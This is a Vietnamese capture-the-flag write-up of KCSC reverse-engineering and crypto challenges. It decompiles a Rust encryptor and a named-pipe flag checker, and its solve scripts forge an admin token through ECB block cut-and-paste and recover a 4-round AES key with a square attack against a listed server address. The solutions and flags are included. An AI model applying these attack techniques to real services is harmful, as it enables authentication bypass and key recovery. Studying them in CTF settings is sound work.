hàm xor. Công việc bây giờ chỉ cần bypass antidebug và nhảy thẳng đến hàm `sub_140001230` để xem flag. ![image](https://hackmd.io/_uploads/Sk-KlSemA.png) > Bài này khá sus khi tốn time quá lâu vì BTC lúc đầu đưa nhầm file. File bị nhầm thì không hề có antidebug và hàm được modify cũng không hề có phép xor nào cả. ### Re x Rust Ta thấy chương trình đọc encrypt file flag.txt qua 4 phase ![image](https://hackmd.io/_uploads/BkDn98JQC.png) #### Phase 1 ```c= void __cdecl revsrust::phase1::hff4818a749ae18af(_mut__u8_ data) { core::ops::range::Range<usize> v1; // rdi usize v2; // [rsp+0h] [rbp-98h] usize v3; // [rsp+18h] [rbp-80h] u8 v4; // [rsp+27h] [rbp-71h] usize v5; // [rsp+28h] [rbp-70h] unsigned __int64 v6; // [rsp+30h] [rbp-68h] core::ops::range::Range<usize> v8; // [rsp+58h] [rbp-40h] BYREF core::option::Option<usize> v9; // [rsp+68h] [rbp-30h] _mut__u8_ v10; // [rsp+78h] [rbp-20h] __int64 v11; // [rsp+88h] [rbp-10h] u8 v12; // [rsp+97h] [rbp-1h] v10 = data; v1.end = data.length >> 1; v1.start = 0LL; v8 = _$LT$I$u20$as$u20$core..iter..traits..collect..IntoIterator$GT$::into_iter::h8fa0f7e2a7257375(v1); while ( 1 ) { v9 = core::iter::range::_$LT$impl$u20$core..iter..traits..iterator..Iterator$u20$for$u20$core..ops..range..Range$LT$A$GT$$GT$::next::h9b7c30fb7e58cb7b(&v8); if ( !*(_QWORD *)v9.gap0 ) break; v6 = *(_QWORD *)&v9.gap0[8]; v11 = *(_QWORD *)&v9.gap0[8]; if ( *(_QWORD *)&v9.gap0[8] >= data.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); v4 = data.data_ptr[*(_QWORD *)&v9.gap0[8]]; v12 = v4; v5 = data.length - 1; if ( !data.length ) core::panicking::panic::hee69a8315e4031d6(); v3 = v5 - *(_QWORD *)&v9.gap0[8]; if ( v5 < *(_QWORD *)&v9.gap0[8] ) core::panicking::panic::hee69a8315e4031d6(); if ( v3 >= data.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); if ( *(_QWORD *)&v9.gap0[8] >= data.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); data.data_ptr[*(_QWORD *)&v9.gap0[8]] = data.data_ptr[v3]; v2 = data.length - 1 - v6; if ( data.length - 1 < v6 ) core::panicking::panic::hee69a8315e4031d6(); if ( v2 >= data.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); data.data_ptr[v2] = v4; } } ``` Debug sơ qua thì hàm này chỉ đơn giản là reverse flag lại #### Phase 2 ```c= void __cdecl revsrust::phase2::hf6a223748e1b24a0(_mut__u8_ data) { u8 v1; // [rsp+17h] [rbp-71h] usize v2; // [rsp+48h] [rbp-40h] usize i; // [rsp+68h] [rbp-20h] for ( i = 0LL; i < data.length; i += 2LL ) { v2 = i + 1; if ( i == -1LL ) core::panicking::panic::hee69a8315e4031d6(); if ( v2 >= data.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); if ( i + 1 >= data.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); if ( i >= data.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); v1 = data.data_ptr[i] & 0xF | data.data_ptr[i + 1] & 0xF0; data.data_ptr[i] = data.data_ptr[v2] & 0xF | data.data_ptr[i] & 0xF0; if ( i + 1 >= data.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); data.data_ptr[i + 1] = v1; if ( i >= 0xFFFFFFFFFFFFFFFELL ) core::panicking::panic::hee69a8315e4031d6(); } } ``` Phase thực hiện một vài phép thay đổi bit cho từng cặp 2 byte liên tiếp, có thể implement lại trên python như sau ```python= def phase2(a): for i in range(0,len(a),2): temp = (a[i] & 0xF) | (a[i+1] & 0xF0) temp_ = (a[i] & 0xF0) | (a[i+1] & 0xF) a[i] = temp_ a[i+1] = temp return a ``` #### Phase 3 ```c= while ( 1 ) { v10 = core::iter::range::_$LT$impl$u20$core..iter..traits..iterator..Iterator$u20$for$u20$core..ops..range..Range$LT$A$GT$$GT$::next::h9b7c30fb7e58cb7b(&v9); if ( !*(_QWORD *)v10.gap0 ) break; v7 = *(_QWORD *)&v10.gap0[8]; v12 = *(_QWORD *)&v10.gap0[8]; if ( *(_QWORD *)&v10.gap0[8] >= v8.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); v5 = v8.data_ptr[*(_QWORD *)&v10.gap0[8]]; v6 = *(_QWORD *)&v10.gap0[8] + 2LL; if ( *(_QWORD *)&v10.gap0[8] >= 0xFFFFFFFFFFFFFFFELL ) core::panicking::panic::hee69a8315e4031d6(); if ( v6 >= v8.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); v1 = v8.data_ptr[v6]; v15 = v8.data_ptr[*(_QWORD *)&v10.gap0[8]]; v16 = v1; if ( *(_QWORD *)&v10.gap0[8] >= v8.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); v8.data_ptr[*(_QWORD *)&v10.gap0[8]] = v5 - v1; v4 = v7 + 2; if ( __CFADD__(v7, 2LL) ) core::panicking::panic::hee69a8315e4031d6(); if ( v4 >= v8.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); v3 = v8.data_ptr[v4]; if ( v7 >= v8.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); v2 = v8.data_ptr[v7]; v13 = v8.data_ptr[v4]; v14 = v2; if ( v7 + 2 >= v8.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); v8.data_ptr[v7 + 2] = v3 - v2; } ``` Phase3 sẽ thực hiện lấy 2 byte cách nhau trừ đi nhau rồi thay thế vào vị trí cũ, trình bày bằng python thì ```python= def phase3(a): for i in range(len(a)-2): temp = a[i] temp_ = a[i+2] a[i] = (temp - temp_) & 0xff temp = a[i] temp_ = a[i+2] a[i+2] = (temp_ - temp) & 0xff return a ``` #### Phase 4 ```c= while ( 1 ) { v6 = core::iter::range::_$LT$impl$u20$core..iter..traits..iterator..Iterator$u20$for$u20$core..ops..range..Range$LT$A$GT$$GT$::next::h9b7c30fb7e58cb7b(&v5); if ( !*(_QWORD *)v6.gap0 ) break; v9 = *(_QWORD *)&v6.gap0[8]; if ( *(_QWORD *)&v6.gap0[8] >= data.length ) core::panicking::panic_bounds_check::h11601ba3567ad740(); data_ptr[*(_QWORD *)&v6.gap0[8]] ^= HIBYTE(v2) ^ BYTE2(v2) ^ BYTE1(v2) ^ v2; } ``` Phase4 bản chất là đem so flag với một byte random #### Sol ```python= with open("flag.enc","rb") as f: test = f.read() test = bytearray(test) for test_4 in range(0xff): out = bytearray(xor(test,test_4)) a = [BitVec(f"c[{i}]", 32) for i in range(len(out))] arr = list(a) Sol = Solver() for i in range(len(arr)-2): temp = arr[i] temp_ = arr[i+2] arr[i] = (temp - temp_) & 0xff temp = arr[i] temp_ = arr[i+2] arr[i+2] = (temp_ - temp) & 0xff for i in range(len(out)): Sol.add(arr[i] == out[i]) if Sol.check() == sat: sol = Sol.model() flag = [sol.evaluate(a[i], model_completion=True).as_long() for i in range(len(out))] flag = bytearray(flag) res = phase2(flag)[::-1] if (b'KCSC') in res: print(res) exit(0) ``` ![image](https://hackmd.io/_uploads/S1FpKwk7A.png) ### p2p Chạy thử chương trình, có vẻ đây là một dạng bài flag checker ![image](https://hackmd.io/_uploads/HkA2sDJQA.png) Nhìn qua hàm main có rất nhiều đoạn như này, có thể dự đoán các vòng for đang decrypt chuỗi string và hàm `sub_7D11B3` dùng để lấy ra địa chỉ API ![image](https://hackmd.io/_uploads/Byns2PJmC.png) Đây là đoạn quan trọng nhất trong main ![image](https://hackmd.io/_uploads/r1fkTPy70.png) Có thể thấy chương trình đã lấy input nhập vào để ghi vào file / device, sau đó lại đọc nó rồi in ra. Có vẻ lạ? Khi debug thử thì mình thấy lúc đọc file lại nhận về chuỗi `Flag is incorrect!` Vậy là flag đã được check ở đâu đó sau khi ghi input vào file. Trước khi đưa file `mixture.exe` vào IDA mình đã thử kiểm tra CAPA trước ![image](https://hackmd.io/_uploads/r1hc6vym0.png) Nhìn khá là SUS nên lúc đầu mình không check main mà check hàm `sub_7D1233` trước Vẫn là cấu trúc giống ở main ![image](https://hackmd.io/_uploads/BJW-AvyXA.png) Thế nhưng ở đoạn cuối lại có một đoạn xor buffer ![image](https://hackmd.io/_uploads/H1rm0vJmR.png) Debug thì mình phát hiện chương trình đang decrypt một file PE khác, tiến hành dump ra thành file `bin.exe` và chạy thử thì mình ko thấy nó hiện gì lên cả mà chỉ đứng yên ![image](https://hackmd.io/_uploads/rJgdAwkXR.png) Mở lên bằng IDA thì thấy sử dụng technique giống với file `mixture.exe` ![image](https://hackmd.io/_uploads/rJY00vJQA.png) Và đặc biệt ở cuối hàm main có đoạn như này ![image](https://hackmd.io/_uploads/SkoZk_kQC.png) Tới đây mình khá chắc là chương trình giao tiếp thông qua pipe để check flag, vì vậy mình quay lại reverse file `mixture.exe` Thử kiểm tra các hàm chạy trước khi vào hàm main ![image](https://hackmd.io/_uploads/B1BPyOJ7R.png) Mình nhận thấy hàm ở `0x07D2082` có sử dụng tới `CreateFileW` và `hfile` của nó giống với cái mà chương trình ghi input và nhận output ở `main` ![image](https://hackmd.io/_uploads/rylaX5kmR.png) Bên cạnh đó hàm ở `0x0712348` cho tạo một registry key `'.KCSC\\shell\\open\\command` ![image](https://hackmd.io/_uploads/BkbWZ_1XC.png) Tới đây mình thử tìm hiểu thêm về pipe, sau khi đọc tham khảo ở đây `https://medium.com/@boutnaru/the-windows-concept-journey-named-pipes-2243a9b79a09` thì mình đã nắm sơ flow của bài này - Bên `bin.exe` sẽ tạo pipe `\\\\.\\pipe\\KCSCCTF2022` và bắt đầu cho chấp nhận connect - Bên `mixture.exe` sẽ cho connect tới bằng cách sử dụng `CreateFileW` gửi input lên và nhận output về Vậy thì phần check flag sẽ nằm ở bên `bin.exe`, vì vậy mình quyết định mô phỏng lại quá trình này ```c= #include <Windows.h> #include <iostream> int main() { HANDLE hPipe; LPCWSTR pipeName = L"\\\\.\\pipe\\KCSCCTF2022"; DWORD dwBytesWritten; const char* message = "KCSC{abcdefghjk}"; hPipe = CreateFileW(pipeName, 0xE0000000, 0, NULL, 3, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { std::cerr << "Failed to open pipe. Error code: " << GetLastError() << std::endl; return 1; } if (!WriteFile(hPipe, message, strlen(message), &dwBytesWritten, NULL)) { std::cerr << "Failed to write to pipe. Error code: " << GetLastError() << std::endl; CloseHandle(hPipe); return 1; } std::cout << "Data written to pipe successfully." << std::endl; if (!WaitNamedPipeW(pipeName, NMPWAIT_WAIT_FOREVER)) { std::cerr << "Failed to wait for pipe. Error code: " << GetLastError() << std::endl; CloseHandle(hPipe); return 1; } std::cout << "Pipe is ready for reading." << std::endl; CloseHandle(hPipe); return 0; } ``` Sau đó qua debug xem `bin.exe` sẽ check flag như nào ![image](https://hackmd.io/_uploads/B1jJ7_17A.png) Ảnh trên là của hàm tại `0xB3113A`, mình sẽ gọi là hàm `ENCRYPT` Đọc sơ qua có thể thấy chương trình đọc giá trị trong registry key, sử dụng chúng làm key và iv để encrypt flag bằng AES. Mình nhận ra đây là AES là vì ciphertext cho ra luôn có len là bội số của 16 và mình cũng kiếm được một bài viết có flow tương tự `https://stackoverflow.com/questions/842357/hard-coded-aes-256-key-with-wincrypt-cryptimportkey` ```c= BYTE myPrivateKey[] = {1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28,29,30, 31,32}; BYTE myIV[] = {1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16}; struct aes256keyBlob { BLOBHEADER hdr; DWORD keySize; BYTE bytes[32]; } blob; blob.hdr.bType = PLAINTEXTKEYBLOB; blob.hdr.bVersion = CUR_BLOB_VERSION; blob.hdr.reserved = 0; blob.hdr.aiKeyAlg = CALG_AES_256; blob.keySize = 32; memcpy(blob.bytes, myPrivateKey, 32); HCRYPTKEY hKey; if (CryptImportKey(hCryptProv, (BYTE*)&blob, sizeof(aes256keyBlob), NULL, 0, &hKey)) { if(CryptSetKeyParam(hKey, KP_IV, myIV, 0)) { //do decryption here } else{/*error*/} CryptDestroyKey(hKey); } else{/*error*/} ``` Flow bài đã rõ hết rồi, mình quyết định lấy key và iv trong registry ra. Chạy file `mixture.exe` rồi check trong Registry Editor thử thì mình đã không thấy key `'.KCSC\\shell\\open\\command` đâu hết ![image](https://hackmd.io/_uploads/HyouEuk7C.png) Mình thử viết một đoạn code check thử ```c= #include <iostream> #include <Windows.h> int main() { HKEY hKey; LPCSTR subKey = ".KCSC\\shell\\open\\command"; LONG result; result = RegOpenKeyExA(HKEY_CLASSES_ROOT, subKey, 0, 0x20019, &hKey); if (result == ERROR_SUCCESS) { std::cout << "Registry key opened successfully!" << std::endl; RegQueryValueExA(hKey,); RegCloseKey(hKey); } else { std::cerr << "Failed to open registry key. Error code: " << result << std::endl; } return 0; } ``` Chạy thử thì nhận về output là `"Failed to open registry key. Error code: 2` Mình đã loay hoay chỗ này khá lâu, sau khi check lại đề bài để xem có mô tả gì không thì mình thấy được dòng ![image](https://hackmd.io/_uploads/BJjLBOkmA.png) ![image](https://hackmd.io/_uploads/BytDrdJmC.png) Chạy lại thì mình thấy đã có registry key ![image](https://hackmd.io/_uploads/HJCtH_y7A.png) Vậy thì lấy ra key, iv rồi decrypt flag thôi ![image](https://hackmd.io/_uploads/HJby8OJmC.png) ```python= from Crypto.Cipher import AES key = b"1st't_7l@g_u_2h0uldn't_s5bm1t_1t" iv =bytes.fromhex("05172b0c22410c2d0c22205e1c22c0ab") cipher = AES.new(key, AES.MODE_CBC, iv) enc = b"\x99(gH\xb0V\xc3e\xa1l\x11\x99\xfe\x88Z\xa4p\xfd^\xa7\x96:\x1f\xcc\xb2\xdf\xcb'\x8b|\xc3\x96\xa8\x9eX\xba\x9e\x97e\x13\x05$Hj\xbc}\x19)" plaintext = cipher.decrypt(enc) print(plaintext) ``` Và output cho ra lại khá bất ngờ ![image](https://hackmd.io/_uploads/Bk3mIO1mC.png) Mình nhận ra đã bị sai 2 byte cuối của IV. Mình đã thử tạo ticket để hỏi author thì lúc đó author bài này không online. Nhưng các author khác vẫn onl và kêu mình brute đi. Vậy thì mình brute trước lấy first blood vậy =))) ![image](https://hackmd.io/_uploads/rJM6I_kmR.png) Flag đúng là ``` KCSC{C0n9r@tul@t10n2_0n_mak1ng_1t(^.^)} ``` Lúc sau mình có được author bài rep lại là do mình sai 2 byte cuối ở IV thật và bảo check lại đoạn nó ghi vào registry. Mình đã thử rev lại đoạn đó ![image](https://hackmd.io/_uploads/HkOwb9km0.png) Vậy 2 byte cuối của IV là lấy từ serial number của volume. Nếu thế thì khá lạ vì mình không thể ra serial number giống với máy của author được. Mình đã thử hỏi anh mình `@jinn` thì xác nhận là cũng ra khác. Vậy thì làm bài này chắc phải brute rồi. (*Dảk) ![image](https://hackmd.io/_uploads/SyPxR51QR.png) Bên cạnh đó ngay trong hàm tạo registry key ở `mixture.exe` đã có sẵn phần decrypt Key và IV để ghi vào. Đáng lẽ mình nên coi kĩ phần này hơn thay vì mày mò trong Registry Editor ![image](https://hackmd.io/_uploads/r1BNMqymC.png) ## Crypto ### Don Copper ```py import random from Crypto.Util.number import getPrime NBITS = 2048 def pad(msg, nbits): """msg -> trash | 0x00 | msg""" pad_length = nbits - len(msg) * 8 - 8 assert pad_length >= 0 pad = random.getrandbits(pad_length).to_bytes((pad_length+7) // 8, "big") return pad + b"\x00" + msg if __name__ == '__main__': p = getPrime(NBITS//2) q = getPrime(NBITS//2) n = p*q e = 3 print('n =',n) flag = b'KCSC{s0m3_r3ad4ble_5tr1ng_like_7his}' flag1 = int.from_bytes(pad(flag[:len(flag)//2], NBITS-1), "big") flag2 = int.from_bytes(pad(flag[len(flag)//2:], NBITS-1), "big") print('c1 =', pow(flag1, e, n)) print('c2 =', pow(flag2, e, n)) print('c3 =', pow(flag1 + flag2 + 2024, e, n)) ''' n = 20.. c1 = 41.. c2 = 15.. c3 = 18.. ''' ``` Bài này cho ta 3 equation $$\begin{aligned} flag_1^3 &= c_1 \mod n \\ flag_2^3 &= c_2 \mod n \\ (flag_1 + flag_2 + 2024)^3 &= c_3 \mod n \end{aligned}$$ Do ta có 3 equations với hai ẩn $flag_1, flag_2$ nên một cách tự nhiên, ta sử dụng Groebner Basis để tìm 2 nghiệm. `solve.py` ```py from sage.all import * from Crypto.Util.number import * n = 20309506650796881616529290664036466538489386425747108847329314416833872927305399144955238770343216928093685748677981345624111315501596571108286475815937548732237777944966756121878930547704154830118623697713050651175872498696886388591990290649008566165706882183536432074074093989165129982027471595363186012032012716786766898967178702932387828604019583820419525077836905310644900660107030935400863436580408288191459013552406498847690908648207805504191001496170310089546275003489343333654260825796730484675948772646479183783762309135891162431343426271855443311093315537542013161936068129247159333498199039105461683433559 c1 = 4199114785395079527708590502284487952499260901806619182047635882351235136067066118088238258758190817298694050837954512048540738666568371021705303034447643372079128117357999230662297600296143681452520944664127802819585723070008246552551484638691165362269408201085933941408723024036595945680925114050652110889316381605080307039620210609769392683351575676103028568766527469370715488668422245141709925930432410059952738674832588223109550486203200795541531631718435391186500053512941594901330786938768706895275374971646539833090714455557224571309211063383843267282547373014559640119269509932424300539909699047417886111314 c2 = 15650490923019220133875152059331365766693239517506051173267598885807661657182838682038088755247179213968582991397981250801642560325035309774037501160195325905859961337459025909689911567332523970782429751122939747242844779503873324022826268274173388947508160966345513047092282464148309981988907583482129247720207815093850363800732109933366825533141246927329087602528196453603292618745790632581329788674987853984153555891779927769670258476202605061744673053413682672209298008811597719866629672869500235237620887158099637238077835474668017416820127072548341550712637174520271022708396652014740738238378199870687994311904 c3 = 18049611726836505821453817372562316794589656109517250054347456683556431747564647553880528986894363034117226538032533356275073007558690442144224643000621847811625558231542435955117636426010023056741993285381967997664265021610409564351046101786654952679193571324445192716616759002730952101112316495837569266130959699342032640740375761374993415050076510886515944123594545916167183939520495851349542048972495703489407916038504032996901940696359461636008398991990191156647394833667609213829253486672716593224216112049920602489681252392770813768169755622341704890099918147629758209742872521177691286126574993863763318087398 m1, m2 = PolynomialRing(Zmod(n), "m1, m2").gens() f1 = m1**3 - c1 f2 = m2**3 - c2 f3 = (m1 + m2 + 2024)**3 - c3 #gb = Ideal([f1, f2, f3]).groebner_basis() f1 = long_to_bytes(-13735276216480234294706359844820346892092177215553901414391761850858882460635783205472406746662036273971992070607261796127119688947318559763272879567995396491115716121316753574975647148161690034108438505248524970885551589159652876676870846257287752279898736691564266993215011110767376345954955541741948634680315084968263393711859569144349753495551546569343780951427789448111710124904988309966385084377510291750050932987581798768855247780396174181337264410175133260701357189505301070362322065230989981704250274145256779438951189476596306356433095883900881070769915283761198556147219781991864498300605360624190735499303 % n) f2 = long_to_bytes(-10850063064215786153306327148990924788438984598023598141431813572034023665508993022819406328531276035415236463762473907444014785919774345550388745382570351421234382216484857722363728432223575478904468786551137995573395304260701532033474455590992994546092536998679869622456414388329561594251029715255159436038660362296817381481412123357555319521172263012404519048712465622333028074769426400066439085668811357134225445548178218655872653355541146025686046192241356344100333096851330334054858073508194708777534526473121314794434611660370071725086052980875155623377312829194652529259245234592714291772331661063675437706202 % n) print(f1) print(f2) ``` > flag: KCSC{W0rk1ng_w1th_p0lyn0m14ls_1s_34sy_:D} ### ECB ```py from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from os import urandom import json import socket import threading flag = 'KCSC{s0m3_r3ad4ble_5tr1ng_like_7his}' menu = ('\n\n|---------------------------------------|\n' + '| Welcome to Evil_ECB! |\n' + '| Maybe we can change the Crypto world |\n' + '| with a physical phenomena :D |\n' + '|---------------------------------------|\n' + '| [1] Login |\n' + '| [2] Register ^__^ |\n' + '| [3] Quit X__X |\n' + '|---------------------------------------|\n') bye = ( '[+] Closing Connection ..\n'+ '[+] Bye ..\n') class Evil_ECB: def __init__(self): self.key = urandom(16) self.cipher = AES.new(self.key, AES.MODE_ECB) self.users = ['admin'] def login(self, token): dec = unpad(self.cipher.decrypt(bytes.fromhex(token)), 16).decode() try: data = json.loads(data) if data['username'] not in self.users: return '[-] Unknown user' if data['username'] == "admin" and data["isAdmin"]: return '[+] Hello admin , here is your secret : %s\n' % flag return "[+] Hello %s , you don't have any secret in our database" % data['username'] except: return '[-] Invalid token !', dec def register(self, user): if user in self.users: return '[-] User already exists' data = b'{"username": "%s", "isAdmin": false}' % (user.encode()) token = self.cipher.encrypt(pad(data, 16)).hex() self.users.append(user) return '[+] You can use this token to access your account : %s' % token, data class ThreadedServer(object): def __init__(self, host, port): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind((self.host, self.port)) def listen(self): self.sock.listen(5) while True: client, address = self.sock.accept() client.settimeout(60) threading.Thread(target = self.listenToClient,args = (client,address)).start() def listenToClient(self, client, address): size = 1024 chal = Evil_ECB() client.send(menu.encode()) for i in range(10): try: client.send(b'> ') choice = client.recv(size).strip() if choice == b'1': client.send(b'Token: ') token = client.recv(size).strip().decode() client.send(chal.login(token).encode() + b'\n') elif choice == b'2': client.send(b'Username: ') user = client.recv(size).strip().decode() client.send(chal.register(user).encode() + b'\n') elif choice == b'3': client.send(bye.encode()) client.close() else: client.send(b'Invalid choice!!!!\n') client.close() except: client.close() return False client.send(b'No more rounds\n') client.close() if __name__ == "__main__": ThreadedServer('',2005).listen() ``` Trong bài này, ta cần tạo một json token với `isAdmin = True` và `username = admin`. Ta sẽ lợi dụng việc có thể register với username bất kì để exploit! Do ECB là mã hóa theo block, nên ta sẽ xây dựng token bằng cách sử dụng username phù hợp. Ta sẽ làm từng bước như sau: - Register với username là `admim` (chỉ cần có prefix `ad` là được), khi đó, ta sẽ có encryption của block `{"username": "ad` - Register với username là `aamin", "a":"c`. Bằng cách này, ta sẽ có được encryption của block `min", "a": "c", "`. Đồng thời do có padding, nên ta sẽ thu được encryption của block `\x10 * 16`. - Register với username là `adisAdmin": true}` (giữa `adisAdmin":` và `true}` là 2 dấu space). Ta sẽ thu được encryption của block `isAdmin": true}`. - Với toàn bộ encryption blocks ta thu được, ta sẽ có encryption của `{"username": "admin", "a": "c","isAdmin": true}`. Submit và lấy flag thôi ! ``` |---------------------------------------| | Welcome to Evil_ECB! | | Maybe we can change the Crypto world | | with a physical phenomena :D | |---------------------------------------| | [1] Login | | [2] Register ^__^ | | [3] Quit X__X | |---------------------------------------| > 2 Username: admim [+] You can use this token to access your account : a564f53c678cc9b40017d96c39bcca9ca7f8b61025b53537b1c4cf81d9bd1afdec1279903f43c13f24bf11013708775e > 2 Username: aamin [+] You can use this token to access your account : 0afdf9bea8b2f2432f23c8a7058d1f9ad1f5c3fa93999115d33092f14ba7e63cec1279903f43c13f24bf11013708775e > 2 Username: aamin", "a":"c [+] You can use this token to access your account : 0afdf9bea8b2f2432f23c8a7058d1f9a3d05fbbdd89cf8132d281f56f350c243739c9ee01a58ff3bba3c05867a69ad2c9a8589071b65bf94f7a82e0c95eb5b6e > 2 Username: adisAdmin": true} [+] You can use this token to access your account : a564f53c678cc9b40017d96c39bcca9c434ac4f32310f3b09900b74f9ed0d536dc4a7e62b7283ef5314ed4c8e0353c27630dd9327d565e5facf1a20e9123d4fd > 1 Token: a564f53c678cc9b40017d96c39bcca9c3d05fbbdd89cf8132d281f56f350c243434ac4f32310f3b09900b74f9ed0d5369a8589071b65bf94f7a82e0c95eb5b6e [+] Hello admin , here is your secret : KCSC{eCb_m0de_1s_4lways_1nSecUre_:))} ``` > flag = KCSC{eCb_m0de_1s_4lways_1nSecUre_:))} ### Square ```py from os import urandom from aes import AES import socket import threading flag = 'KCSC{s0m3_r3ad4ble_5tr1ng_like_7his}' menu = ('\n\n|---------------------------------------|\n' + '| Welcome to KCSC Square! |\n' + '| I know it\'s late now but |\n' + '| Happy Reunification Day :D |\n' + '|---------------------------------------|\n' + '| [1] Get ciphertext |\n' + '| [2] Guess key ^__^ |\n' + '| [3] Quit X__X |\n' + '|---------------------------------------|\n') bye = ( '[+] Closing Connection ..\n'+ '[+] Bye ..\n') class ThreadedServer(object): def __init__(self, host, port): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind((self.host, self.port)) def listen(self): self.sock.listen(5) while True: client, address = self.sock.accept() client.settimeout(60) threading.Thread(target = self.listenToClient,args = (client,address)).start() def listenToClient(self, client, address): size = 1024 key = urandom(16) chal = AES(key) client.send(menu.encode()) for i in range(8888): try: client.send(b'> ') choice = client.recv(size).strip() if choice == b'1': client.send(b'Plaintext in hex: ') hex_pt = client.recv(size).strip().decode() try: pt = bytes.fromhex(hex_pt) assert len(pt) == 16 except: client.send(b'Something wrong in your plaintext' + b'\n') continue client.send(chal.encrypt(pt).hex().encode() + b'\n') elif choice == b'2': client.send(b'Key in hex: ') hex_key = client.recv(size).strip().decode() try: guess_key = bytes.fromhex(hex_key) assert guess_key == key except: client.send(b'Wrong key, good luck next time =)))' + b'\n') client.close() client.send(b'Nice try, you got it :D!!!! Here is your flag: ' + flag.encode() + b'\n') client.close() elif choice == b'3': client.send(bye.encode()) client.close() else: client.send(b'Invalid choice!!!!\n') client.close() except: client.close() return False client.send(b'No more rounds\n') client.close() if __name__ == "__main__": ThreadedServer('',2004).listen() ``` Trong bài này, ta cần phải tìm key của AES 4-rounds. Với bài này, các bạn có thể xem chi tiết về exploit AES 4-rounds của mình tại [đây](https://hackmd.io/@Giapppp/square_attack) ```py from pwn import * from tqdm import * from aeskeyschedule import reverse_key_schedule InvS_box = ( 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ) target = remote("103.163.24.78", 2004) for _ in range(11): target.recvline() def encrypt(plaintext): target.sendlineafter(b">", b"1") target.sendlineafter(b"Plaintext in hex: ", plaintext.hex()) ct = target.recvline().decode()[:-1] return bytes.fromhex(ct) def find_key_bytes(idx:int): real_ans = set(list(range(256))) while True: ans = set() A_set = [] init = os.urandom(16) for i in range(256): temp = bytearray(init) temp[idx] = i A_set += [encrypt(temp)] for i in range(256): A_set_dec = 0 for ele in A_set: A_set_dec ^= InvS_box[ele[idx] ^ i] if A_set_dec == 0: ans.add(i) real_ans.intersection_update(ans) if len(real_ans) == 1: return real_ans.pop() key = [] for i in tqdm(range(16)): ans = find_key_bytes(i) key.append(ans) realkey = reverse_key_schedule(bytes(key), 4) print(realkey.hex()) target.interactive() ``` >flag: KCSC{Sq4re_4tt4ck_ez_2_uNderSt4nd_4nD_1mPlement_R1ght?_:3} ### Miscrypt ```py from PIL import Image import numpy as np import galois GF256 = galois.GF(2**8) img = Image.open('qr_flag_rgb.png') pixels = img.load() width, height = img.size M = GF256(np.random.randint(0, 256, size=(3, 3), dtype=np.uint8)) # scan full height -> weight for 